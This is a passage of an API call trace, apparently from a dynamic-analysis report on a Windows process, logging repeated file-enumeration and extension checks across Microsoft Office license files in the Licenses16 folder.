lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned=".xrm-ms" [0244.393] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned=".xrm-ms" [0244.393] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned=".xrm-ms" [0244.393] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.393] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned=".xrm-ms" [0244.393] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.399] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned=".xrm-ms" [0244.399] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.399] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned=".xrm-ms" [0244.399] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.399] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned=".xrm-ms" [0244.399] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.399] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned=".xrm-ms" [0244.399] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned=".xrm-ms" [0244.400] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned=".xrm-ms" [0244.400] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned=".xrm-ms" [0244.400] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-phn.xrm-ms") returned=".xrm-ms" [0244.400] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned=".xrm-ms" [0244.400] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned=".xrm-ms" [0244.400] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned=".xrm-ms" [0244.400] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned=".xrm-ms" [0244.400] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned=".xrm-ms" [0244.401] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.530] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned=".xrm-ms" [0244.530] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.530] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned=".xrm-ms" [0244.530] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.530] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned=".xrm-ms" [0244.530] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.530] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentVNextR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentVNextR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentVNextR_Retail-pl.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentVNextR_Retail-ppd.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentVNextR_Retail-ul-oob.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentVNextR_Retail-ul-phn.xrm-ms") returned=".xrm-ms" [0244.531] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentVNextR_Trial-pl.xrm-ms") returned=".xrm-ms" [0244.532] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentVNextR_Trial-ppd.xrm-ms") returned=".xrm-ms" [0244.532] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentVNextR_Trial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.532] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned=".xrm-ms" [0244.532] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned=".xrm-ms" [0244.532] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_ConsumerSub_Bypass30-ppd.xrm-ms") returned=".xrm-ms" [0244.532] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.532] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_ConsumerSub_Bypass30-ul-oob.xrm-ms") returned=".xrm-ms" [0244.532] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.536] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_EnterpriseSub_Bypass30-ppd.xrm-ms") returned=".xrm-ms" [0244.536] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.536] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_EnterpriseSub_Bypass30-ul-oob.xrm-ms") returned=".xrm-ms" [0244.536] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.536] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned=".xrm-ms" [0244.536] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.536] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned=".xrm-ms" [0244.536] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.536] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned=".xrm-ms" [0244.536] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.536] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned=".xrm-ms" [0244.536] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.536] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned=".xrm-ms" [0244.536] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_O16ConsumerPerp_Bypass30-ppd.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_O16ConsumerPerp_Bypass30-ul-oob.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_O16EnterpriseVL_Bypass30-ppd.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_O16EnterpriseVL_Bypass30-ul-oob.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_O17EnterpriseVL_Bypass30-ppd.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_O17EnterpriseVL_Bypass30-ul-oob.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-oob.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ul-phn.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned=".xrm-ms" [0244.537] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.537] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned=".xrm-ms" [0244.538] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned=".xrm-ms" [0244.538] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned=".xrm-ms" [0244.538] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned=".xrm-ms" [0244.538] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned=".xrm-ms" [0244.538] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned=".xrm-ms" [0244.538] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.538] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned=".xrm-ms" [0244.538] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.541] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned=".xrm-ms" [0244.541] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.542] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned=".xrm-ms" [0244.542] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned=".xrm-ms" [0244.543] FindNextFileW (in: hFindFile=0x2e79698, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0244.543] 